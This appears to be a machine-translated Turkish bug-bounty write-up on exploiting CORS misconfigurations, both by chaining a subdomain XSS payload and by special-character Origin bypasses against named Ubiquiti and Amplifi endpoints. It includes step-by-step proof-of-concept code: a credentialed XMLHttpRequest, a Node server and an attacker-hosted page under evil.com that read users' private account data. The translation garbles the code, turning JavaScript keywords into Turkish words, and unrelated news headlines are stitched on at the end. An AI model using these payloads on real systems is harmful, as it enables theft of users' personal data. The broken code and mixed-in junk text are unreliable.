CORS (Alanlar Arası Kaynak Paylaşımı) Yanlış Yapılandırma Güvenlik Açığı Gelişmiş Kötüye Kullanım

Selam millet! Ben Faslı bir güvenlik araştırmacısı Ayoub. Bu makalede, CORS yanlış yapılandırma istismarlarının iki durumunu tanıtacağım: ilk durum XSS'ye, ikinci durum ise gelişmiş CORS kullanım tekniklerine dayanmaktadır.

Not: Bu makaleyi okumaya başlamadan önce, CORS'un ne olduğu ve yanlış yapılandırma güvenlik açıklarından nasıl yararlanılacağı konusunda temel bir anlayışa sahip olmanız gerekir. İşte okuyabileceğiniz ve öğrenebileceğiniz çok iyi makaleler:

Portswiggerın Yayını

Geekboyun Gönderisi

İlk durum

Savunmasız uç nokta

Yaklaşık bir yıl önce, HackerOne'ın özel bir projesine katıldım. HTTP isteğinde Origin başlığını kullandıktan sonra, bir etki alanı beyaz listesi kontrolü yapıp yapmadıklarını belirlemek için sunucu yanıtını kontrol ettim.Sonunda, uygulamanın mevcut olmayan alt alan adlarını bile beyaz listeye aldığını gördüm. .

Gizlilik koruması ve sorumlu ifşa politikası için, burada web uygulamasının şu adreste barındırıldığını varsayıyorum: www.redacted.com

Bu CORS yapılandırma hatası aşağıdaki gibi görünür:

HTTP isteği

GET / api / dönüş HTTP / 1.1 Barındırıcı: www.redacted.com Menşei: evil.redacted.com Bağlantı: kapat

HTTP yanıtı

HTTP / 1.1200 Tamam Erişim denetimi izin verme kimlik bilgileri: doğru Erişim denetimi izin kaynağı: evil.redacted.com

Bu API uç noktası, kullanıcının tam adı, e-posta adresi vb. Gibi özel bilgilerini döndürür.

Bu yanlış yapılandırmayı kötüye kullanmak ve kullanıcıların özel bilgilerini sızdırmak gibi saldırılar gerçekleştirmek için, terk edilmiş bir alt alan adı (alt alan adı devralma) beyan etmemiz veya mevcut alt alan adlarından birinde XSS bulmamız gerekir.

Kapsamın dışında düşünmek

Terk edilmiş bir alt alan adı bulmak kolay değil, bu yüzden mevcut bir alt alan adında XSS bulmaya karar verdim. Bununla birlikte, özel programın kapsamı şununla sınırlıdır: www.redacted.com, bu da XSS'yi diğer alt alan adlarında bulmanın kesinlikle kendi kapsamında olmadığı anlamına gelir, ancak XSS ve CORS yanlış yapılandırması arasındaki bağlantı bir dereceye kadar dikkate alınmalıdır. Kapsama alanı içinde. Sağ?

Diğer alt alanlar kapsam dahilinde olmadığından, diğer bilgisayar korsanları bunları test etmeyecek, bu nedenle bu alt alan adlarında XSS bulma olasılığım çok yüksek!

Beklediğim gibi, bir saatten kısa bir süre içinde banques.redacted.com'da bir XSS buldum. Kullanılan yük şu şekilde:

https://banques.redacted.com/choice-quiz?form_banque= " > < senaryo > alert (document.domain) < /senaryo > form_cartes = 73iframestat = 1

Şimdi, PoC oluşturma ve bir rapor gönderme zamanı!

Üreme kullanın:

Bu CORS yapılandırma hatası güvenlik açığından yararlanmak için, yalnızca yük uyarısını (document.domain) aşağıdaki kodla değiştirmemiz gerekiyor:

function cors () { var xhttp = new XMLHttpRequest (); xhttp.onreadystatechange = function () { eğer (this.status == 200) { alert (this.responseText); document.getElementById ("demo"). innerHTML = this.responseText; } }; xhttp.open ("GET", "https://www.redacted.com/api/return", doğru); xhttp.withCredentials = true; xhttp.send (); } kors ();

bunun gibi:

https://banques.redacted.com/choice-quiz?form_banque= " > < senaryo > function% 20cors () {var% 20xhttp = new% 20XMLHttpRequest (); xhttp.onreadystatechange = function () {if (this.status == 200) alert (this.responseText); document.getElementById ("demo"). innerHTML = this.responseText}}; xhttp.open ("GET", "https://www.redacted.com/api/return", doğru); xhttp.withCredentials = true; xhttp.send ()} cors (); < /senaryo > form_cartes = 73iframestat = 1

Şimdi çok kullanışlı bir PoC'ye sahibiz:

ödül

Şimdi, size eski olduğu iddia edilen mevcut alt alan adlarında veya alt alan adlarında XSS bulmadan yine de sorunu kötüye kullanabileceğinizi söylersem?

İkinci durumda tartışacağımız tam olarak budur.

İkinci durum

Savunmasız uç nokta

Bu sefer görevim Ubnt programı, özellikle bu web sitesinde barındırılan uygulama: https://protect.ubnt.com/

Aynı işlemi takiben, önceki duruma benzer şekilde CORS yapılandırma hatasını belirledim, ancak bu sefer uygulama kullanıcının özel bilgilerini başka bir konumdan alıyor ve bir API şu adreste barındırılıyor: https://client.amplifi.com/ api / kullanıcı /

Bu uygulama aynı zamanda var olmayan alt alanlar da dahil olmak üzere tüm alt alanları beyaz listeye alır.

Bu tür bir yanlış CORS yapılandırmasını kötüye kullanmak için, önce terk edilmiş bir alt etki alanı bildirmeniz veya mevcut bir alt etki alanında XSS bulmanız gerekir.

Bu geniş kapsamlı bir genel proje olduğu için (tüm alt etki alanları kapsam dahilindedir); bu nedenle, XSS bulma olasılığı çok daha azdır ve alt etki alanı devralma güvenlik açıklarından söz edilmez.

Peki yapabileceğimiz hiçbir şey yok mu?

Gelişmiş CORS kullanım teknolojisi

Görünüşe göre başka bir yol var, ancak belirli koşulları karşılaması gerekiyor.

Burada ilginç bir çalışma bulunabilir. Ekran, alan adında özel karakterler kullanılarak hatalı şekilde uygulanan bazı kontrolleri atlayabilir.

Araştırma, tarayıcının bir talepte bulunmadan önce alan adını her zaman doğrulamaması gerçeğine dayanmaktadır. Bu nedenle, belirli özel karakterler kullanılıyorsa, tarayıcı şu anda, alan adının geçerli olup olmadığını ve var olup olmadığını doğrulamadan isteği gönderebilir.

Misal

Http: //asdf`+=.withgoogle.com gibi özel karakterler içeren bir URL açmaya çalışalım. Çoğu tarayıcı, herhangi bir talepte bulunmadan önce alan adını doğrulayacaktır.

Withgoogle.com alan adı, joker karakterli DNS kayıtlarına sahip olduğu için gösteri olarak kullanılır.

Krom:

Firefox:

Safari:

Gördüğünüz gibi Safari bir istisnadır, aslında bir istek gönderir ve diğer tarayıcılardan farklı olarak sayfayı yüklemeye çalışır.

Yazdırılamayan karakterler de dahil olmak üzere çeşitli farklı karakterler kullanabiliriz:

, '";! $ ^ * () + =` ~ -_ = | {}% // yazdırılamayan karakterler % 01-08,% 0b,% 0c,% 0e,% 0f,% 10-% 1f,% 7f

Ek olarak, Davide Danelon burada bulunabilecek başka bir çalışmayı tamamlayarak, bu özel karakterlerin diğer alt kümelerinin başka tarayıcılarda da kullanılabileceğini gösterdi.

Bunu öğrendikten sonra, aşağıdaki kullanım bağlantısıdır. Güvenlik açığı bulunan web uygulamasına geri dönelim: https://client.amplifi.com/

yeni yöntem

Bu durumda, web uygulaması aşağıdaki Origin * .ubnt.com! .Evil.com adresini de kabul eder.

Yalnızca "!" Değil, aynı zamanda aşağıdaki karakterler:

* .ubnt.com! .evil.com * .ubnt.com ".evil.com * .ubnt.com $ .evil.com * .ubnt.com% 0b.evil.com * .ubnt.com% 60.evil.com * .ubnt.com.evil.com * .ubnt.com'.evil.com * .ubnt.com (.evil.com * .ubnt.com) .evil.com * .ubnt.com * .evil.com * .ubnt.com, .evil.com * .ubnt.com; .evil.com * .ubnt.com = .evil.com * .ubnt.com ^ .evil.com * .ubnt.com`.evil.com * .ubnt.com {.evil.com * .ubnt.com | .evil.com * .ubnt.com} .evil.com * .ubnt.com ~ .evil.com

Artık bazı tarayıcıların (Safari gibi) özel karakterlere sahip URL'leri kabul ettiğini bilmelisiniz, örneğin: https: //zzzz.ubnt.com=.evil.com

Bu nedenle, bir etki alanı ayarlamak için joker karakterli DNS kayıtları kullanırsak: evil.com, tüm alt etki alanlarının (* .evil.com) www.evil.com'u işaret etmesine izin verirsek, www.evil.com/cors-poc'a benzer olacaktır. Sayfada bir komut dosyası barındırılır ve sayfa, alt alan adından başlayarak savunmasız uç noktaya bir alanlar arası istek gönderir.

Ardından, kimliği doğrulanmış bir kullanıcıyı bağlantıyı açmaya zorlarız: https: //zzzz.ubnt.com=.evil.com/cors-poc

Teorik olarak, bu kullanıcının özel bilgilerini sızdırabiliriz.

Üreme kullanın:

1. Öncelikle, joker karakterli DNS kayıtlarıyla bir etki alanı ayarlayın ve onu makinenize yönlendirin. Bu örnekte, etki alanımı barındırmak için GoDaddy kullanıyorum. Yapılandırma aşağıdaki gibidir:

2. NodeJS'yi kurun, yeni bir dizin oluşturun ve aşağıdaki dosyaları içine kaydedin:

serve.js

var http = required ('http'); var url = gerekli ('url'); var fs = gerekli ('fs'); var bağlantı noktası = 80 http.createServer (function (req, res) { eğer (req.url == '/ cors-poc') { fs.readFile ('cors.html', function (err, data) { res.writeHead (200, {'İçerik Türü': 'metin / html'}); res.write (veri); Yeniden gönder(); }); } Başka { res.writeHead (200, {'İçerik Türü': 'metin / html'}); res.write ('senden asla vazgeçmeyeceğim ...'); Yeniden gönder(); } }). listen (bağlantı noktası, '0.0.0.0'); console.log (`$ {port} bağlantı noktasında hizmet veriyor`);

3. Aynı dizine aşağıdakileri kaydedin:

cors.html

< ! DOCTYPE html > < html > < baş > < Başlık > CORS < /Başlık > < / kafa > < body onload = "cors ();" > < merkez > cors kavram kanıtı: < br > < br > < textarea rows = "10" cols = "60" id = "pwnz" > < / textarea > < br > < / div > < senaryo > function cors () { var xhttp = new XMLHttpRequest (); xhttp.onreadystatechange = function () { eğer (this.readyState == 4 this.status == 200) { document.getElementById ("pwnz"). innerHTML = this.responseText; } }; xhttp.open ("GET", "https://client.amplifi.com/api/user/", doğru); xhttp.withCredentials = true; xhttp.send (); } < /senaryo >

4. Aşağıdaki komutu çalıştırarak NodeJS sunucusunu başlatın:

node serve.js

5. Şimdi, https://protect.ubnt.com/ adresinde oturum açın ve hesap bilgilerinizi uç noktadan alıp alamayacağınızı kontrol edin: https://client.amplifi.com/api/user/

6. Son olarak, Safari tarayıcısındaki bağlantıyı açın: https: //zzzz.ubnt.com=.evil.com/cors-poc.

Örneğimde, bir Mac bilgisayarım olmadığı için PoC olarak iPhone'daki Safari tarayıcısını kullanıyorum.

ödül

sonuç olarak

Hacker One'da bu tür CORS yanlış yapılandırması hakkında birçok rapor bulabileceğinize inanıyorum, ancak raporlarında PoC olmadığı için yalnızca birkaç kişi bunu tam olarak kullanabilir. Bu, deneyimlerimi paylaşmamın nedenlerinden biri ve aynı zamanda bu tür güvenlik açıklarından yararlanan diğer teknikleri vurguluyor.

Son olarak, kapsamın dışında düşünmenin size başarı getirebileceğini daima unutmayın.

Okuduğunuz için teşekkürler! Twitter'da https://twitter.com/sandh0t beni takip etmeye hoş geldiniz.

Referanslar

Portswigger makalesi

Geekboy makaleler

Corben Leo ile ilgili araştırma

Davide Danelon ile ilgili araştırma

* Referans kaynağı: FB editör sekisti tarafından derlenen araç, FreeBuf.COM'dan yeniden üretilmiştir

Dikkat Hamile eskort kadın vuruldu ve uçtu, ama dedi ki: Seni kurtar, ben istiyorum!
önceki
Li Ka-shingin oğlunun yeni kız arkadaşı eski kıyafetler giydi ve iki bin yuan çantasını aldı ve Süpermenin kalbini başarıyla ele geçirdi.
Sonraki
Hong Kong sanatçıları toplu olarak "çocuk yüzlerinin" fotoğraflarını yayınladı
Xi Jinping'in "Klasik" i Medeniyeti ve Karşılıklı Öğrenimi Aydınlatıyor
Borç toplama? TVB'nin eski drama kemik restoranı siyah giysili bir adam tarafından kağıttan insanlarla yerleştirildi, yemek yiyenler yavaş yavaş yemeye devam ediyor
Çin şampiyonası çalındı ...
Film kraliçesi Maggie Cheung, Hong Kong sebze pazarında göründü ve Fan Chengcheng ile sebze satın almak için pazarlık yaptı
Çok piyano, çok piyan, ben ve sen, çok piyan?
Yalancı bana 500 dolar yalan söyledi ve sonunda ailesine söylememem için yalvardı
Pengshan, Sichuan: Kör yaşlı adamın kimlik kartı kayıp
Li Zongsheng ve Lin Yilian'ın kızı şu anda 20 yaşında, seksi fotoğraflar çekiyor, kısa videolar çekiyor ve cinsel tacize hayır diyor.
Qingdao Yaşlı Vatandaşların Evlilik ve Sevgi Anketi: Neden sertifika almadan birlikte yaşamayı seviyorsunuz?
Chen Kun ve Zhou Xun'un yeni gelenleri "Küçük Faye Wong" olarak bilinir. Bir zamanlar Dou Jingtong ile skandallar yaşamıştı.
Oyuncu gizli oyun şirketi, çift casus olarak, yeraltı oyunlarını kontrol eden, aylık 10 milyon geliri olan
To Top